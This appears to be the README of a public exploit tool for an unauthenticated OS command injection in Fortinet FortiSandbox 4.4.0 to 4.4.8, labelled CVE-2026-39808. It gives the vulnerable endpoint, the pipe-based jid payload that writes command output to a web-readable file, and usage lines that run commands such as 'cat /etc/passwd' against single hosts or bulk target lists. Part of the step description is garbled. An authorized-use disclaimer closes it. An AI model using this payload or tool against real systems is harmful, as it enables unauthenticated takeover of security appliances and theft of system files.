
An unauthenticated OS command injection vulnerability
Author: c0d3Ninja / gotr00t0day.github.io
Severity: Critical
Type: Unauthenticated OS Command Injection
Product: Fortinet FortiSandbox
An unauthenticated OS command injection vulnerability exists in Fortinet FortiSandbox via the jid parameter in the /fortisandbox/job-detail/tracer-behavior endpoint. The parameter is passed unsanitized to a shell context, allowing an attacker to inject arbitrary commands using pipe characters.
The injected command output is written to a web-accessible file (/web/ng/test.txt) and retrieved in a second request, providing blind-to-semi-blind command execution without authentication.
| Product | Versions |
|---|---|
| FortiSandbox | 4.4.0 through 4.4.8 |
| FortiSandbox PaaS | All affected releases |
python3 CVE-2026-39808.py [-h] (-t https://target | -l targets.txt) [-c "command"] [--timeout SECONDS]
| Flag | Description |
|---|---|
-t, --target | Single target URL (e.g. https://192.168.1.1) |
-l, --list | File with one target per line |
-c, --commands | OS command to execute (e.g. cat /etc/passwd) |
--timeout | Request timeout in seconds (default: 20) |
Single target:
python3 CVE-2026-39808.py -t https://192.168.1.100 -c "id"
Bulk scan:
python3 CVE-2026-39808.py -l domains.txt -c "cat /etc/passwd"
jid parameter:
/fortisandbox/job-detail/tracer-behavior?jid=|(command+args+>+/web/ng/test.txt)|
/web/ng/test.txt./ng/test.txt retrieves the output.pip install requests colorama
This tool is provided for authorized security testing, penetration testing engagements, and educational purposes only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and unethical.